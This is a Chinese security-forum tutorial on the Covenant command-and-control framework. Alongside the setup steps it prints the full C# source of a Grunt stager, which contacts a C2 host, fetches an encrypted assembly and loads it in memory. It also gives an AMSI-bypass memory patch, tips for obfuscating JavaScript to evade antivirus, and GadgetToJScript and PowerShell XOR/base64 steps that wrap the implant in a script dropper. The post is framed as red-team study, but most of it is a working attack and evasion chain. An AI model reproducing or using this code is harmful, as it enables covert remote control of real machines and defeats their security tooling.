问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
开源C2:Covenant学习
渗透测试
分享者才是学习中最大的受益者!
Covenant ======== 前言 -- C2技术在红蓝对抗种,重要性不言而喻,现在师傅们热衷于CobaltStrike,它确实是一个不错的C2。 但是因为一些付费等等方面的原因,使用起来也不是很方便。 今天学习一下Covenant,一款源码级别的 Csharp C2,向师傅们致敬! 抱着学习的态度 写的就啰嗦了一点,望师傅们见谅! 优点 -- 1.它是基于Windows系统,开发语言是Csharp,属于微软的东西 2.DotNet版本要求 > 3.5,使用Windows .NET的好处是:它支持静默安装 命令 ```php dotNetFx40_Full_x86_x64.exe /q /norestart /ChainingPackageFullX64Bootstrapper /q静默安装 /norestart 不要重启 ``` 3.可扩展性特别强,因为它本身提供了很多API接口 和 自定义功能 安装 -- Covenant它也分本地安装和docker安装(推荐后者) 具体可以看这里:<https://github.com/cobbr/Covenant/wiki/Installation-And-Startup> 以docker安装作为演示 注:需要科学上网 ```php sudo apt install proxychains4 sudo apt install vim sudo vim /etc/proxychains4.conf proxychains git clone --recurse-submodules https://github.com/cobbr/Covenant cd Covenant/Covenant sudo docker build -t covenant . ```  启动 -- ```php sudo docker run -it -p 7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/dayu/Covenant/Covenant/Data:/app/Data covenant -it参数:Docker参数,在交互式tty中开始Covenant,如果不想附加到tty,可以将其排除 -p参数:将端口公开到Covenant Docker容器。这个是必须将公开端口7443和要启动侦听器的任何其他端口。 -v参数:在主机和容器之间创建一个共享的数据目录 要指定数据目录的绝对路径,不能使用相对路径 注:一定要把Covenant映射到Docker镜像里面对应的目录,如果没有的话,就跑不起来,因为所有的功能模块都在Data目录里面 ``` 注:移除所有Covenant数据并进行初始化恢复 执行命令: ```php docker rm covenant docker run -it -p 7443:7443 -p 80:80 -p 443:443 --namecovenant -v :/app/Data covenant--username AdminUser --computername 0.0.0.0 ```  报错 80端口被占用  ```php sudo netstat -nultp sudo service apache2 stop #关闭Apache2服务 ```  重新启动一下 这次指定一下本地的 IP ```php sudo docker run -d -p 127.0.0.1:7443:7443 -p 80:80 -p 443:443 --name covenant -v /home/dayu/Covenant/Covenant/Data:/app/Data covenant ```  ```php sudo docker ps -l ```  docker命令小合集 ----------- ```php docker images 列出所有镜像 docker rmi -f id 删除镜像id docker ps 列出所有容器 docker ps -a 查看曾经运行的容器 docker rm -f id 删除容器 ``` 访问 ```php https://127.0.0.1:7443 ``` 刚开始 会让我们 注册一个用户  成功登录  实操使用 ---- ### Listeners #### 创建监听    注:这里HttpProfile 我选择的是:DefaultHttpProfile 创建完成  默认的HttpProfile 可以看到有四个  可以打开新页(open Link in new Tab)去看一下 #### DefaultHttpProfile      #### CustomHttpProfile  下面基本是一样的 #### TCPBridgeProfile 具体写法可以参考这里:<https://github.com/cobbr/C2Bridge> 相当于一个模板   ### Launchers  注:这10个生成方式 现在都是被杀软拦截的 以Binary为例     ### Templates  ### 上线测试 注:本地测试学习 杀软就关掉了 ### Grunts  上线之后呢 会有一个提示   点一下 Name 即可进入交互界面  下面这些 都是可以修改的     默认有很多默认的 可以执行的任务   ### Tasks       ### Taskings 历史执行过的命令  ### Graph  ### Data 实际获取到的内容     ### Users  <https://3xpl01tc0d3r.blogspot.com/2020/02/gadgettojscript-covenant-donut.html> 这里是会弹一个MessageBox提示窗口    ```php 1:判断传入的dllstring不为空 2:一个循环 将传入的dll按`,`分隔 3:循环添加refdll ```    继续   重新生成解决方案 继续 把Covenant的Binary Launcher的Code源码 扒过来  这里贴一下 方便一些 ```php using System; using System.Net; using System.Linq; using System.Text; using System.Text.RegularExpressions; using System.IO.Pipes; using System.Reflection; using System.Collections.Generic; using System.Security.Cryptography; namespace GruntStager { public class GruntStager { public GruntStager() { ExecuteStager(); } [STAThread] public static void Main(string[] args) { new GruntStager(); } public static void Execute() { new GruntStager(); } public void ExecuteStager() { try { List<string> CovenantURIs = @"http://192.168.175.209:80".Split(',').ToList(); string CovenantCertHash = @""; List<string> ProfileHttpHeaderNames = @"VXNlci1BZ2VudA==,Q29va2ll".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); List<string> ProfileHttpHeaderValues = @"TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xKSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvNDEuMC4yMjI4LjAgU2FmYXJpLzUzNy4zNg==,QVNQU0VTU0lPTklEPXtHVUlEfTsgU0VTU0lPTklEPTE1NTIzMzI5NzE3NTA=".Split(',').ToList().Select(H => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(H))).ToList(); List<string> ProfileHttpUrls = @"L2VuLXVzL2luZGV4Lmh0bWw=,L2VuLXVzL2RvY3MuaHRtbA==,L2VuLXVzL3Rlc3QuaHRtbA==".Split(',').ToList().Select(U => System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(U))).ToList(); string ProfileHttpPostRequest = @"i=a19ea23062db990386a3a478cb89d52e&data={0}&session=75db-99b1-25fe4e9afbe58696-320bea73".Replace(Environment.NewLine, "\n"); string ProfileHttpPostResponse = @"<html> <head> <title>Hello World!</title> </head> <body> <p>Hello World!</p> // Hello World! {0} </body> </html>".Replace(Environment.NewLine, "\n"); bool ValidateCert = bool.Parse(@"false"); bool UseCertPinning = bool.Parse(@"false"); Random random = new Random(); string aGUID = @"518387fa18"; string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); byte[] SetupKeyBytes = Convert.FromBase64String(@"rrONV/NTSPl4sU0FVzoK1TxidURN/ORaK0Yh6sMzG24="); string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; Aes SetupAESKey = Aes.Create(); SetupAESKey.Mode = CipherMode.CBC; SetupAESKey.Padding = PaddingMode.PKCS7; SetupAESKey.Key = SetupKeyBytes; SetupAESKey.GenerateIV(); HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes); RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters()); byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false)); byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length); byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey); string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash)); ServicePointManager.SecurityProtocol = SecurityProtocolType.Ssl3 | SecurityProtocolType.Tls; ServicePointManager.ServerCertificateValidationCallback = (sender, cert, chain, errors) => { bool valid = true; if (UseCertPinning && CovenantCertHash != "") { valid = cert.GetCertHashString() == CovenantCertHash; } if (valid && ValidateCert) { valid = errors == System.Net.Security.SslPolicyErrors.None; } return valid; }; string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body)); CookieWebClient wc = null; string Stage0Response = ""; wc = new CookieWebClient(); wc.UseDefaultCredentials = true; wc.Proxy = WebRequest.DefaultWebProxy; wc.Proxy.Credentials = CredentialCache.DefaultNetworkCredentials; string CovenantURI = ""; foreach (string uri in CovenantURIs) { try { for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { if (ProfileHttpHeaderNames[i] == "Cookie") { wc.SetCookies(new Uri(uri), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", "")); } else { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", ""), ProfileHttpHeaderValues[i].Replace("{GUID}", "")); } } wc.DownloadString(uri + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", "")); CovenantURI = uri; } catch { continue; } } for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { if (ProfileHttpHeaderNames[i] == "Cookie") { wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); } else { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); } } Stage0Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); string extracted = Parse(Stage0Response, ProfileHttpPostResponse)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); List<string> parsed = Parse(extracted, MessageFormat); string iv64str = parsed[3]; string message64str = parsed[4]; string hash64str = parsed[5]; byte[] messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SetupAESKey.IV = Convert.FromBase64String(iv64str); byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true); Aes SessionKey = Aes.Create(); SessionKey.Mode = CipherMode.CBC; SessionKey.Padding = PaddingMode.PKCS7; SessionKey.Key = FullyDecrypted; SessionKey.GenerateIV(); hmac = new HMACSHA256(SessionKey.Key); byte[] challenge1 = new byte[4]; RandomNumberGenerator rng = RandomNumberGenerator.Create(); rng.GetBytes(challenge1); byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length); hash = hmac.ComputeHash(EncryptedChallenge1); string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash)); transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body)); string Stage1Response = ""; for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { if (ProfileHttpHeaderNames[i] == "Cookie") { wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); } else { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); } } Stage1Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); extracted = Parse(Stage1Response, ProfileHttpPostResponse)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); parsed = Parse(extracted, MessageFormat); iv64str = parsed[3]; message64str = parsed[4]; hash64str = parsed[5]; messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SessionKey.IV = Convert.FromBase64String(iv64str); byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); byte[] challenge1Test = new byte[4]; byte[] challenge2 = new byte[4]; Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4); Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4); if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; } SessionKey.GenerateIV(); byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length); hash = hmac.ComputeHash(EncryptedChallenge2); string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash)); transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body)); string Stage2Response = ""; for (int i = 0; i < ProfileHttpHeaderValues.Count; i++) { if (ProfileHttpHeaderNames[i] == "Cookie") { wc.SetCookies(new Uri(CovenantURI), ProfileHttpHeaderValues[i].Replace(";", ",").Replace("{GUID}", GUID)); } else { wc.Headers.Set(ProfileHttpHeaderNames[i].Replace("{GUID}", GUID), ProfileHttpHeaderValues[i].Replace("{GUID}", GUID)); } } Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse)); extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); parsed = Parse(extracted, MessageFormat); iv64str = parsed[3]; message64str = parsed[4]; hash64str = parsed[5]; messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SessionKey.IV = Convert.FromBase64String(iv64str); byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); Assembly gruntAssembly = Assembly.Load(DecryptedAssembly); gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey }); } catch (Exception e) { Console.Error.WriteLine(e.Message + Environment.NewLine + e.StackTrace); } } public class CookieWebClient : WebClient { public CookieContainer CookieContainer { get; private set; } public CookieWebClient() { this.CookieContainer = new CookieContainer(); } public void SetCookies(Uri uri, string cookies) { this.CookieContainer.SetCookies(uri, cookies); } protected override WebRequest GetWebRequest(Uri address) { var request = base.GetWebRequest(address) as HttpWebRequest; if (request == null) return base.GetWebRequest(address); request.CookieContainer = CookieContainer; return request; } } public static List<string> Parse(string data, string format) { format = Regex.Escape(format).Replace("\\{", "{").Replace("{{", "{").Replace("}}", "}"); if (format.Contains("{0}")) { format = format.Replace("{0}", "(?'group0'.*)"); } if (format.Contains("{1}")) { format = format.Replace("{1}", "(?'group1'.*)"); } if (format.Contains("{2}")) { format = format.Replace("{2}", "(?'group2'.*)"); } if (format.Contains("{3}")) { format = format.Replace("{3}", "(?'group3'.*)"); } if (format.Contains("{4}")) { format = format.Replace("{4}", "(?'group4'.*)"); } if (format.Contains("{5}")) { format = format.Replace("{5}", "(?'group5'.*)"); } Match match = new Regex(format).Match(data); List<string> matches = new List<string>(); if (match.Groups["group0"] != null) { matches.Add(match.Groups["group0"].Value); } if (match.Groups["group1"] != null) { matches.Add(match.Groups["group1"].Value); } if (match.Groups["group2"] != null) { matches.Add(match.Groups["group2"].Value); } if (match.Groups["group3"] != null) { matches.Add(match.Groups["group3"].Value); } if (match.Groups["group4"] != null) { matches.Add(match.Groups["group4"].Value); } if (match.Groups["group5"] != null) { matches.Add(match.Groups["group5"].Value); } return matches; } public static class MessageTransform { public static string Transform(byte[] bytes) { return System.Convert.ToBase64String(bytes); } public static byte[] Invert(string str) { return System.Convert.FromBase64String(str); } } } } ``` 注:这里可以把路径简写 看着方便点 ```php prompt study cd 查看目录 ``` 打开vs studio开发者模式   切换目录 编译cs文件 ```php csc /t:exe Grunt.cs ```  执行一下  上线了  GadgetToJScript =============== 前言 -- GadgetToJScript是一个Csharp的项目:<https://github.com/med0x2e/GadgetToJScript> Covenant是一个`.NET`开发的C2(Command and Control)框架,旨在突出`.NET`的攻击面,并充当红队成员的协作命令和控制平台 使用`.NET Core`的开发环境,不仅支持Linux,MacOS和Windows,还支持docker容器 Covenant是支持动态编译,能够将输入的C#代码上传至C2 Server,获得编译后的文件并使用Assembly.Load()从内存进行加载 GadgetToJscript用于生成`.NET`序列化的工具,当使用基于JS/VBS/VBA脚本中的BinaryFormatter反序列化时,该工具可以触发`.NET`程序集加载/执行,同时相比James Forshaw的DotNetToJScript添加了绕过.Net 4.8+阻止`Assembly.Load`的功能。 两者结合学习 实操 -- 下载的GadhetToJscript项目用Vistual Studio 2019打开 GadgetToJscript的编译过程属于动态编译,里面涉及到很多DLL的引用 定位到TestAssemblelyLoader.cs文件 编译生成GadgetToJScript.exe 由于grunt.cs代码中有两个命名空间不被包含在System.dll里 ```php 1、System.Linq; 2、System.IO.Pipes; ``` 它们在System.Core.dll里,所以调用的时候我们需要手动添加System.Core.dll,在命令行输入: ```php GadgetToJScript.exe -w js -f Grunt.cs -d System.Core.dll -o matrix -w 是输出文件的格式 -d 是需要添加的dll,如果有多个可以用逗号隔开 -f 是我们引入的csharp文件,这里我们选择刚才的 grunt.cs 测试 -o 是输出的文件名 然后我们会得到名为matrix.js的文件,打开matrix.js文件。 ```  分析一下这个js文件 ```php stage_1:为了绕过Win10中对Assembly.load的限制 stage_2:加载的核心程序集 ```  测试js文件,运行 ```php cscript matrix.js ``` JS文件的混淆免杀Tips ------------- 杀软一般标记的是变量名、字符串 1.针对字符串,可以把双引号和单引号去掉 比如 ```php 原先 ("aaa") 转换成 (/aaa/.source) ``` 2.针对一些转义问题 原先 双引号中的`\\`就要替换成`\` 举例 ```php 原先的路径 ("D:\\7-Zip\\1\\") 转换成 (/D:\7-Zip\1/.source + '\\') ```  内存修补Bypass AMSI --------------- 主要思路是通过找到内存中AmsiScanBuffer函数的位置,然后通过patch,让AmsiScanBuffer这个函数不再继续运行,直接在函数的开始让它返回一个0 后来微软进行了一次更新对`.NET`程序集AmsiScanBuffer的扫描结果必须返回一个有效值 `0xb8, 0x57, 0x00, 0x07, 0x80`,同时要加上0xC3(0xC3是return) PatchAmsi.cs代码如下: ```php using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Reflection; using System.Runtime.InteropServices; namespace AMSI { public class Program { [DllImport("kernel32")] private static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] private static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); static void Main(string[] args) { new Program(); } public Program() { Patch(); } public static void Patch() { // Console.WriteLine("-- AMSI Patching"); //Console.WriteLine("-- Paul (@am0nsec)\n"); // Get the DllCanUnload function address IntPtr hModule = LoadLibrary("amsi.dll"); //Console.WriteLine("[+] AMSI DLL handle: " + hModule); IntPtr dllCanUnloadNowAddress = GetProcAddress(hModule, "DllCanUnloadNow");//AmsiScanBuffer //Console.WriteLine("[+] DllCanUnloadNow address: " + dllCanUnloadNowAddress); // Dynamically get the address of the function to patch byte[] egg = { }; if (IntPtr.Size == 8) { egg = new byte[] { 0x4C, 0x8B, 0xDC, // mov r11,rsp 0x49, 0x89, 0x5B, 0x08, // mov qword ptr [r11+8],rbx 0x49, 0x89, 0x6B, 0x10, // mov qword ptr [r11+10h],rbp 0x49, 0x89, 0x73, 0x18, // mov qword ptr [r11+18h],rsi 0x57, // push rdi 0x41, 0x56, // push r14 0x41, 0x57, // push r15 0x48, 0x83, 0xEC, 0x70 // sub rsp,70h }; } else { egg = new byte[] { 0x8B, 0xFF, // mov edi,edi 0x55, // push ebp 0x8B, 0xEC, // mov ebp,esp 0x83, 0xEC, 0x18, // sub esp,18h 0x53, // push ebx 0x56 // push esi }; } IntPtr address = FindAddress(dllCanUnloadNowAddress, egg); // Console.WriteLine("[+] Targeted address: " + address); // Change the memory protection of the memory region // PAGE_READWRITE = 0x04 uint oldProtectionBuffer = 0; VirtualProtect(address, (UIntPtr)2, 4, out oldProtectionBuffer); // Patch the function byte[] patch = { 0xb8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; Marshal.Copy(patch, 0, address, 6); // Reinitialise the memory protection of the memory region uint a = 0; VirtualProtect(address, (UIntPtr)2, oldProtectionBuffer, out a); } private static IntPtr FindAddress(IntPtr address, byte[] egg) { while (true) { int count = 0; while (true) { address = IntPtr.Add(address, 1); if (Marshal.ReadByte(address) == (byte)egg.GetValue(count)) { count++; if (count == egg.Length) return IntPtr.Subtract(address, egg.Length - 1); } else { break; } } } } } } ``` 注:第一:代码中不能直接出现`AmsiScanBuffer`的字符串,否则会被amsi识别,所以替换成`DllCanUnloadNow` 用egg hunt的方式,以`DllCanUnloadNow`的函数地址为基址寻找AmsiScanBuffer函数的地址,再patch 第二:因为微软的更新,使得对`.net Assembly.load`的程序集扫描结果必须返回一个有效值,所以替换为`0xb8,0x57,0x00,0x07,0x80`后再加上`return 0xC3` 编译一下  执行一下  上WinDbg调试看看是否成功 Bypass Amsi File-Attach  定位到amsi 查看Patch是否成功 两者结合 ---- 以Grunt.exe作为例子 1.把exe读取到一个数组中 ```php [byte[]]$rawbytes = [System.IO.File]::ReadAllBytes("C:\Users\12550\Desktop\知识\项目学习\GadgetToJScript\GadgetToJScript-1.0\GadgetToJScript\bin\x64\Release\Grunt.exe") ``` 2.查看exe的字符串大小 ```php $rawbytes.length ```  3.简单异或0x77 ```php for ($i = 0; $i -lt $rawbytes.Length; $i++){$rawbytes[$i] = $rawbytes[$i] -bxor 0x77} ```  4.base64编码一哈 并复制到剪切板 ```php [System.Convert]::ToBase64String($rawbytes) | clip ```  放到PatchAmsi.cs文件中  注意这里的`Patch();`   编译测试成功后命令行运行: ```php GadgetToJScript.exe -w js -d System.Core.dll -f PatchASB.cs -o PatchASB ``` 测试js文件,运行 ```php cscript matrix.js ``` ok! 就到这里 总结 -- Covenant是一个`.NET`命令和控制框架,二次开发的可扩展性不比其他的C2差 分享者才是学习中最大的受益者! 希望可以帮到各位师傅
发表于 2021-11-29 09:44:05
阅读 ( 7006 )
分类:
漏洞分析
1 推荐
收藏
0 条评论
请先
登录
后评论
略略略
36 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!